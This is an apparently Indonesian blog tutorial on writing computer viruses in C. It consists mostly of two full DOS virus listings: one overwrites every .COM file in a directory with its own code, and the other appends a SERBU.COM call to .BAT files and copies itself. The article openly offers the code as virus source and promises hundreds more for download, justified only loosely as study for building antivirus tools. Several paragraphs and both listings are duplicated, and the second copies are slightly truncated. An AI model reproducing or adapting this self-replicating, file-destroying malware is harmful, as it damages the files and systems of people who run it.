Bahasa pemrograman tingkat tinggi/atas,
seperti: Basic, Visual Basic, C, C++, Visual C++ dan lainnya, adalah
bahasa pemrograman yang banyak digunakan oleh para programmer saat ini.
Bahasa pemrograman tingkat tinggi ini banyak menyediakan fungsi-fungsi
built-in yang menakjubkan, memungkinkan programmer terhindar dari
penggunaan bahasa mesin yang jauh lebih rumit. Untuk membuat program
virus, penggunaan bahasa pemrograman tingkat tinggi akan menjadi lebih
memudahkan, namun walaupun demikian juga dijumpai beberapa kendala.
Yang pertama adalah sebagian besar bahasa tingkat tinggi tidak dapat digunakan untuk pemrograman pada tingkat dasar sistem, bahkan dengan bahasa C sekalipun tidak akan bisa dilakukan dengan mudah. Akibatnya, virus yang diciptakan pun hanyalah virus yang primitif dalam hal mekanisme reproduksinya, walaupun rutinitas aktivasinya terkadang cukup mengesankan. Kelemahan lainnya yang sangat penting adalah kebanyakan virus yang dibuat oleh bahasa pemrograman tingkat tinggi memiliki ukuran file paling sedikit 10 KB, ukuran yang sangat tidak efisien untuk sebuah virus. Ukuran memory program yang tidak praktis ini akan mudah terlihat oleh pengguna, disebabkan adanya memory terpakai yang tidak jelas apa penyebabnya.
Perlu Anda ketahui, bahwa semua program virus komputer memiliki beberapa langkah dasar yang sama, yaitu: mencari file untuk dinfeksi, baik itu executable, sumber, atau file apapun (dokumen, gambar, video, dan sebagainya), kemudian menimpa atau menyusup ke file yang ditemukan tersebut. Menentukan cara aktivasi rutin program virus, menunggu dan kembali ke sistem utama komputer, dan keseluruhan aktivitas tersebut dilakukan tanpa dapat terlihat oleh pengguna komputer. Nah! pendek kata atau tepatnya pendek tulisan, pada kesempatan ini saya akan menghidangkan kepada Anda contoh program virus yang dibuat dengan bahasa C.
Kenapa pakai bahasa C? Ini merupakan pertanyaan yang sangat baik jika tidak Anda lanjutkan dengan pertanyaan "kenapa ngga pakai bahasa pakpak saja?" hehehe. Jawabnya karena bahasa C merupakan program yang memiliki struktur yang luwes, berukuran kecil, berkecepatan tinggi, memori yang efisien, dan struktur perintah yang bebas. Bahasa C adalah bahasa pemrograman yang dapat dikatakan berada antara bahasa beraras rendah (bahasa yang beorientasi kepada mesin) dan bahasa beraras tinggi (bahasa berorientasi pada manusia).
Yang pertama adalah sebagian besar bahasa tingkat tinggi tidak dapat digunakan untuk pemrograman pada tingkat dasar sistem, bahkan dengan bahasa C sekalipun tidak akan bisa dilakukan dengan mudah. Akibatnya, virus yang diciptakan pun hanyalah virus yang primitif dalam hal mekanisme reproduksinya, walaupun rutinitas aktivasinya terkadang cukup mengesankan. Kelemahan lainnya yang sangat penting adalah kebanyakan virus yang dibuat oleh bahasa pemrograman tingkat tinggi memiliki ukuran file paling sedikit 10 KB, ukuran yang sangat tidak efisien untuk sebuah virus. Ukuran memory program yang tidak praktis ini akan mudah terlihat oleh pengguna, disebabkan adanya memory terpakai yang tidak jelas apa penyebabnya.
Perlu Anda ketahui, bahwa semua program virus komputer memiliki beberapa langkah dasar yang sama, yaitu: mencari file untuk dinfeksi, baik itu executable, sumber, atau file apapun (dokumen, gambar, video, dan sebagainya), kemudian menimpa atau menyusup ke file yang ditemukan tersebut. Menentukan cara aktivasi rutin program virus, menunggu dan kembali ke sistem utama komputer, dan keseluruhan aktivitas tersebut dilakukan tanpa dapat terlihat oleh pengguna komputer. Nah! pendek kata atau tepatnya pendek tulisan, pada kesempatan ini saya akan menghidangkan kepada Anda contoh program virus yang dibuat dengan bahasa C.
Kenapa pakai bahasa C? Ini merupakan pertanyaan yang sangat baik jika tidak Anda lanjutkan dengan pertanyaan "kenapa ngga pakai bahasa pakpak saja?" hehehe. Jawabnya karena bahasa C merupakan program yang memiliki struktur yang luwes, berukuran kecil, berkecepatan tinggi, memori yang efisien, dan struktur perintah yang bebas. Bahasa C adalah bahasa pemrograman yang dapat dikatakan berada antara bahasa beraras rendah (bahasa yang beorientasi kepada mesin) dan bahasa beraras tinggi (bahasa berorientasi pada manusia).
Salah satu contoh perintah program virus
dengan bahasa C pada artikel ini adalah virus yang menimpa kedalam file
COM. Berhati-hatilah menguji parogram ini, karena program virus ini
akan menimpa ke semua file aplikasi dengan ekstensi .com. Pada saat Anda
melakukan kompilasi program virus ini, perhatikan ukurannya, apa bila
tidak sama dengan 9489 byte, ubahlah ukuran virus pada perintah program
sebesar ukuran hasil kompilasi tersebut. Baiklan, ngga usah banyak
basa-basi yang membosankan, inilah listing programnya.
#include <stdio.h>
#include <dos.h>
#include <dir.h>
FILE *Virus,*Host;
int i,j,yoi;
char buff[256];
struct ffblk ffblk;
main()
{
yoi = findfirst("*.COM",&ffblk,0); /* Mencari file berekstensi .COM */
while (!yoi) /* Loop untuk semua file .COM dalam direktori*/
{
printf("Jangkiti %s\n", ffblk.ff_name); /* menginformasikan pengguna*/
Virus=fopen(_argv[0],"rb"); /* buka file yang akan diinfeksi */
Host=fopen(ffblk.ff_name,"rb+"); /* buka host baru file */
i=9489; /* ukuran virus */
while (i>256)
{
fread(buff,256,1,Virus); /* potongan byte sampai */
fwrite(buff,256,1,Host); /* kiri < 256 */
i-=256;
}
fread(buff,i,1,Virus); /* selesai meng-copy */
fwrite(buff,i,1,Host);
fcloseall(); /* menutup file dan*/
yoi = findnext(&ffblk); /* pergi ke file lainnya. */
}
return (0);
}
#include <dos.h>
#include <dir.h>
FILE *Virus,*Host;
int i,j,yoi;
char buff[256];
struct ffblk ffblk;
main()
{
yoi = findfirst("*.COM",&ffblk,0); /* Mencari file berekstensi .COM */
while (!yoi) /* Loop untuk semua file .COM dalam direktori*/
{
printf("Jangkiti %s\n", ffblk.ff_name); /* menginformasikan pengguna*/
Virus=fopen(_argv[0],"rb"); /* buka file yang akan diinfeksi */
Host=fopen(ffblk.ff_name,"rb+"); /* buka host baru file */
i=9489; /* ukuran virus */
while (i>256)
{
fread(buff,256,1,Virus); /* potongan byte sampai */
fwrite(buff,256,1,Host); /* kiri < 256 */
i-=256;
}
fread(buff,i,1,Virus); /* selesai meng-copy */
fwrite(buff,i,1,Host);
fcloseall(); /* menutup file dan*/
yoi = findnext(&ffblk); /* pergi ke file lainnya. */
}
return (0);
}
Berikut ini juga contah perintah program
virus lainnya yang menggunakan bahasa C. Program virus ini akan
menjangkiti semua file yang berekstensi BAT. Kode virusnya adalah
sebagai berikut:
#include <stdio.h>
#include <dos.h>
#include <dir.h>
#include <string.h>
struct ffblk ffblk;
main()
{
char old_dir[MAXPATH];
Get_Path(old_dir); /* simpan direktori lama */
Pick_A_Dir(); /* temukan direktori baru */
Infect_Directory(); /* infeksikan */
chdir(old_dir); /* kembali ke direktori lama */
return 0;
}
Pick_A_Dir()
{
int yoi;
chdir("..");
yoi=findfirst("*.BAT",&ffblk,0);
if (yoi)
{
chdir("\\");
yoi=findfirst("*.BAT",&ffblk,0);
if (yoi) chdir("\\DOS\\");
}
return 0;
}
Infect_Directory()
{
int yoi;
yoi = findfirst("*.BAT",&ffblk,0);
while (!yoi)
{
Do_Batch();
yoi = findnext(&ffblk);
}
if (findfirst("SERBU.COM",&ffblk,0)) /* jika SERBU.COM */
Copy_Virus();} /* tidak ada, copykan pada direktori*/
return 0;
}
Do_Batch()
{
FILE *batch;
char Infection_Buffer[12];
char vpath[MAXPATH];
Get_Path(vpath);
if (vpath[3]==0) vpath[2]=0;
batch=fopen(ffblk.ff_name, "rt+");
fseek(batch, -11, SEEK_END);
fread(Infection_Buffer,11,1,batch);
Infection_Buffer[11]=0;
if (strcmp(Infection_Buffer,"SERBU.COM"))
{
fseek(batch, 0, SEEK_END);
fprintf(batch,"\n%s\\SERBU.COM",vpath);
}
fclose(batch);
return 0;
}
Copy_Virus()
{
FILE *old_virus, *new_virus;
int write_length;
char copy_buffer[1024];
old_virus=fopen(_argv[0],"rb");
new_virus=fopen("SERBU.COM","wb");
write_length=1024;
while (write_length==1024)
{
write_length=fread(copy_buffer,1,1024,old_virus);
fwrite(copy_buffer,write_length,1,new_virus);
}
fclose(old_virus);
fclose(new_virus);
return 0;
}
Get_Path(char *path)
{
strcpy(path, "A:\\");
path[0] ='A' + getdisk();
getcurdir(0, path+3);
return 0;
}
#include <dos.h>
#include <dir.h>
#include <string.h>
struct ffblk ffblk;
main()
{
char old_dir[MAXPATH];
Get_Path(old_dir); /* simpan direktori lama */
Pick_A_Dir(); /* temukan direktori baru */
Infect_Directory(); /* infeksikan */
chdir(old_dir); /* kembali ke direktori lama */
return 0;
}
Pick_A_Dir()
{
int yoi;
chdir("..");
yoi=findfirst("*.BAT",&ffblk,0);
if (yoi)
{
chdir("\\");
yoi=findfirst("*.BAT",&ffblk,0);
if (yoi) chdir("\\DOS\\");
}
return 0;
}
Infect_Directory()
{
int yoi;
yoi = findfirst("*.BAT",&ffblk,0);
while (!yoi)
{
Do_Batch();
yoi = findnext(&ffblk);
}
if (findfirst("SERBU.COM",&ffblk,0)) /* jika SERBU.COM */
Copy_Virus();} /* tidak ada, copykan pada direktori*/
return 0;
}
Do_Batch()
{
FILE *batch;
char Infection_Buffer[12];
char vpath[MAXPATH];
Get_Path(vpath);
if (vpath[3]==0) vpath[2]=0;
batch=fopen(ffblk.ff_name, "rt+");
fseek(batch, -11, SEEK_END);
fread(Infection_Buffer,11,1,batch);
Infection_Buffer[11]=0;
if (strcmp(Infection_Buffer,"SERBU.COM"))
{
fseek(batch, 0, SEEK_END);
fprintf(batch,"\n%s\\SERBU.COM",vpath);
}
fclose(batch);
return 0;
}
Copy_Virus()
{
FILE *old_virus, *new_virus;
int write_length;
char copy_buffer[1024];
old_virus=fopen(_argv[0],"rb");
new_virus=fopen("SERBU.COM","wb");
write_length=1024;
while (write_length==1024)
{
write_length=fread(copy_buffer,1,1024,old_virus);
fwrite(copy_buffer,write_length,1,new_virus);
}
fclose(old_virus);
fclose(new_virus);
return 0;
}
Get_Path(char *path)
{
strcpy(path, "A:\\");
path[0] ='A' + getdisk();
getcurdir(0, path+3);
return 0;
}
Dua program di atas hanyalah contoh
penggalan program virus sederhana, untuk source code program virus
sungguhan yang terbuat dari bahasa pemrograman C atupun C++ akan kami
sajikan nantinya di ideelok.com. Tapi sekedar informasi saja buat Anda,
bukan hanya virus yang dibuatnya dengan bahasa C/C++ saja, tetapi akan
ada banyak source code program virus dari berbagai bahasa pemrograman
yang akan kami sajikan di ideelok.com. Yang benar-benar sudah beredar
dan mungkin pernah menjangkiti komputer Anda. Mulai dari yang terbaru
maupun yang lama, yang terkenal dan menggemparkan maupun tidak.
Source code dan teknik pemrogramannya akan Anda dapatkan di sini untuk dipelajari agar bisa menjadi info untuk buat anti-nya. Tunggu saja, sering-sering pantau dan kunjungi saja website ini, untuk dapatkan ratusan source code virus tinggal download dari berbagai bahasa pemrograman, yakni: bahasa mesin, C, C++, Visual Basic, dan lainnya.
Source code dan teknik pemrogramannya akan Anda dapatkan di sini untuk dipelajari agar bisa menjadi info untuk buat anti-nya. Tunggu saja, sering-sering pantau dan kunjungi saja website ini, untuk dapatkan ratusan source code virus tinggal download dari berbagai bahasa pemrograman, yakni: bahasa mesin, C, C++, Visual Basic, dan lainnya.